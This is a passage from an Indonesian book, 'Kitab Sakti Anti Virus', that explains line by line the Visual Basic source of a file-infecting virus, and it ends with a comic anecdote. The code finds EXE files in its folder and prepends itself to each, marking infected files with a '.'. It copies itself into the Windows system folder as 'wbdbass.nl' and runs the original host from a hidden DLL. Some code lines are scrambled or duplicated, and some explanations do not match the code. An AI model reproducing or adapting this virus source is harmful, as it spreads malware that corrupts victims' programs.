Kitab Sakti Anti Virus
Kitab Sakti Anti Virus
Setelah berhasil membuat form, mengetikkan data program, dan membentuk menjadi suatu file source code sebelum melangkah lebih lanjut untuk membentuk file tersebut menjadi suatu file EXE maka kita akan menelaah program dan bagian-bagian pembentuknya baris demi baris. (Jika memungkinkan dan jika saya tahu apa yang harus dijelaskan .) Program secara global terbagi menjadi beberapa bagian utama, yaitu Deklarasi Data, Form Loading, dan Modul Utama.
15
Private Declare Function OpenProcess Lib "kernel32" _ (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As Long Private Declare Function GetExitCodeProcess Lib "kernel32" _ (ByVal hProcess As Long, lpExitCode As Long) As Long Private Declare Function CloseHandle Lib "kernel32" _ (ByVal hObject As Long) As Long
Perintah ini dipakai agar alur program tidak rancu. Sehingga tidak mengalami bentrok dan masalah pada akhirnya. Salah satu contoh, untuk memakai suatu variabel maka kita harus menyediakannya (membuatnya) terlebih dahulu secara eksplisit, sebelum dapat memakainya.
* Private victim As String
Membuat variabel bernama chck dengan jenis data string dengan panjang 1.
* Const Size As Long = 32768
Membuat konstanta bernama Size dengan jenis data long dan mengisinya dengan data 32768.
* Private iResult As Long
16
Membuat konstanta bernama STILL_ACTIVE dengan jenis data long dan mengisinya dengan data &H103.
* Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Membuat konstanta bernama PROCESS_ALL_ACCESS dengan jenis data long dan mengisinya dengan data &H1F0FFF.
* Private Declare Function OpenProcess Lib "kernel32" _ (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As Long
Mendeklarasikan fungsi API yang bernama OpenProcess. Fungsi ini digunakan untuk membuka objek proses yang ada.
* Private Declare Function GetExitCodeProcess Lib "kernel32" _ (ByVal hProcess As Long, lpExitCode As Long) As Long Private Declare Function CloseHandle Lib "kernel32" _ (ByVal hObject As Long) As Long
Mendeklarasikan fungsi API yang bernama GetExitCodeProcess. Fungsi ini berguna untuk memperoleh kode status penghentian suatu proses.
17
Keterangan:
* Private Sub form_load()
Membuat aplikasi aktif virus menjadi tidak kelihatan pada task manager.
* On Error Resume Next
18
ChDrive App.Path ChDir App.Path victim = Dir(App.Path & "\" & "*.EXE") While victim <> "" If LCase(App.Path & "\" & App.EXEName & ".exe") _ <> LCase(App.Path & "\" & victim) Then Open victim For Binary Access Read As #Free varray = Space$(LOF(Free)) Get #1, 1, varray Close #Free Open victim For Binary Access Read As #Free Debug.Print varray Seek #1, LOF(Free) chck = Space$(1) Debug.Print varray Get #1, , chck Close #Free If LCase(chck) <> "." Then Open victim For Binary Access Write As #Free Put #Free, 1, myarray Put #Free, Size, varray Put #Free, LOF(Free) + 1, "." Close #Free End If Else End If victim = Dir() Wend Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free Length = (LOF(Free) - Size) If Length > 0 Then myarray = Space(Length) Get #Free, Size, myarray Close #Free Open App.Path & "\" & App.EXEName & ".dll" For Binary Access Write As #Free Put #Free, , myarray Close #Free SetAttr App.Path & "\" & App.EXEName & ".dll", vbHidden + vbSystem idProg = Shell(App.Path & "\" & App.EXEName & ".dll", vbNormalFocus) hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg) GetExitCodeProcess hProg, iExit Do While iExit = STILL_ACTIVE
19
DoEvents GetExitCodeProcess hProg, iExit Loop On Error Resume Next SetAttr App.Path & "\" & App.EXEName & ".dll", vbNormal Kill App.Path & "\" & App.EXEName & ".dll" Else Close #Free End If End End Sub
Membuat variabel bernama fso, sysfolder, dan winfolder dengan jenis data varian.
* Set fso = CreateObject("scripting.filesystemobject")
Mengeset variabel sysfolder dengan perintah script agar mengambil nama folder khusus system windows. 20
Mengeset variabel sysfolder dengan perintah script agar mengambil nama folder khusus root windows.
* FileCopy App.Path & "\" & App.EXEName & ".exe", sysfolder & "\" & "wbdbass.nl"
Mengopi file virus aktif ke system folder Windows dengan nama wbdbass.nl.
* Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
Mengisi variabel myarray dengan spasi, sejumlah besar yang disebutkan dalam variabel Size (alias ukuran virus).
* Get #1, 1, myarray
Mengisi variabel victim dengan data-data file exe yang ada pada direktori aktif.
* While victim <> ""
<> LCase(App.Path & "\" & victim) Then Jika file korban tidak sama dengan nama file virus aktif maka
* Open victim For Binary Access Read As #Free
21
* varray = Space$(LOF(Free))
Isi variabel varray dengan file data spasi sepanjang file tersebut. Atau di sini kita menyiapkan buffer file.
* Get #1, 1, varray
Tutup file.
* If LCase(chck) <> "." Then
Jika variabel chck sama dengan . (titik atau marker virus) berarti file telah terinfeksi. Jika tidak maka lanjutkan proses.
* Open victim For Binary Access Write As #Free
Lalu diikuti dengan variabel varray (alias data asli file korban).
* Put #Free, LOF(Free) + 1, "."
Lalu diikuti dengan marker virus (marker virus yang kita pakai adalah titik!) untuk menandai bahwa file tersebut telah diinfeksi.
22
* Close #Free
Tutup file.
* End If
Isi variabel victim dengan perintah DIR. Atau untuk mencari file berikutnya yang akan diinfeksi.
* Wend
Isi variabel length dengan data file aktif saat ini dikurangi dengan ukuran file virus (atau variabel Size).
* If Length > 0 Then
Jika variabel Length lebih besar daripada 0 maka file telah diinfeksi.
* myarray = Space(Length)
Buat buffer dalam variabel myarray untuk menampung data ukuran file asli.
* Get #Free, Size, myarray
Tutup file.
23
* Open App.Path & "\" & App.EXEName & ".dll" For Binary Access Write As #Free
Buka dan buat file dengan nama sama, namun ekstension-nya adalah DLL.
* Put #Free, , myarray
Buat atribut file DLL tersebut dengan hidden dan system. Sehingga tidak terlihat secara standar.
* idProg = Shell(App.Path & "\" & App.EXEName & ".dll", vbNormalFocus)
Isi variabel idProg dengan data untuk menjalankan kode-kode aplikasi asli yang telah dibentuk menjadi file *.DLL.
* hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
Isi hProg dengan data nomor kode aplikasi yang sedang berjalan (running application code number).
Parameter dwDesiredAccess berisi akses ke objek proses. Parameter bInheritHandle. Jika benar maka handle-nya bersifat inheritable. Jika FALSE, handle tidak dapat inherited. Parameter dwProcessId merupakan Identifier dari proses yang akan dibuka.
Jika sukses maka return value-nya adalah open handle dari process tertentu. Jika gagal, nilainya adalah NULL. Loh tapi ini ngomong-ngomong sekilas info 24
apa sih? Kok jadi bingung saya? Ini adalah sekilas info, yang menunjukkan bahwa perintah OpenProcess adalah salah satu perintah API (Application Programming Interface) bawaan Windows. Perintah-perintah API ini umumnya dipakai dalam pemrograman tingkat lanjut. --------------------------------------------------------------------------------------------------
Parameter hProcess mewakili Handle process. Handle ini haruslah mempunyai hak akses PROCESS_QUERY_INFORMATION. lpExitCode adalah pointer ke variabel untuk memperoleh status penghentian proses (process termination status). Jika sukses, fungsi akan mengembalikan nilai tidak nol. Jika gagal maka nilainya adalah nol. -------------------------------------------------------------------------------------------------* Do While iExit = STILL_ACTIVE
Lakukan putaran selama variabel iExit masih berisi data STILL_ACTIVE. Atau dengan kata lain, tunggu sampai program aplikasi aktif dimatikan. Jadi, program virus akan tidur sementara dan menjalankan program asli. Saat program asli selesai dijalankan, kendali akan diambil alih lagi oleh virus.
* DoEvents
Lakukan event.
* GetExitCodeProcess hProg, iExit
25
* Loop
Selain itu
* Close #Free
Tutup file.
* End If
Syarat selesai.
* End
Subrutin modul utama selesai. Maka selesai pulalah (sementara) kegilaan kita! hehehe Jika masih bingung, coba Anda baca berulang kali bagian ini. Saya yakin Anda akan semakin paham dan. Tambah gila tentu saja. -------------------------------------------------------------------------------------------------Flash Back: Anti Sosial 1 Jarang sekali Kyai Kebal Wirang mengajak muridnya yang masih balita pergi berinteraksi sosial. Karena takut menjadi anti-sosial sejati, maka hari itu diajaknya Megatruh kecil pergi jalan-jalan. Megatruh begitu gembira dan tak bosanbosannya ia bertanya tentang apa saja yang dilihatnya. Sang kyai dengan sabar meladeninya dengan menjawab semua pertanyaan sang murid. 26
Setelah lelah berkeliling, pulanglah mereka berdua. Kyai Kebal Wirang dengan gesit menghentikan angkota yang kebetulan melintas. Naiklah mereka berdua ke dalam angkota. Dalam perjalanan, Megatruh banyak diam. Hanya saja matanya yang bundar tanpa dosa, terlihat berkejab-kejab seperti kebingungan. Tangannya berpegangan kencang pada baju sang kyai. Kyai Kebal Wirang memerhatikan hal tersebut, lalu bertanya: ada apa, kamu kok kebingungan seperti itu? Megatruh memandang wajah sang kyai dengan ragu. Kyai tidak marah kalau saya bertanya? Tentu saja tidak, jawab sang kyai singkat. Dengan lantang Megatruh kecil bersuara keras sekali tanpa dosa sambil menunjuk kepada seorang lelaki yang duduk di depan mereka: Ini lho kyai saya heran. Bapak yang di depan kita ini, kakinya apa ketinggalan satu di rumah ya? Kyai gendeng tersebut melonjak kaget dengan pertanyaan polos sang murid balita. Dipandangnya bapak yang ditunjuk oleh Megatruh kecil dengan saksama, ternyata di depannya duduklah seorang lelaki cacat yang buntung sebelah kakinya. Dengan nyengir dan muka merah padam, sang Kyai berkata mas supir kiri mas. Kita mau turun --------------------------------------------------------------------------------------------------
***
27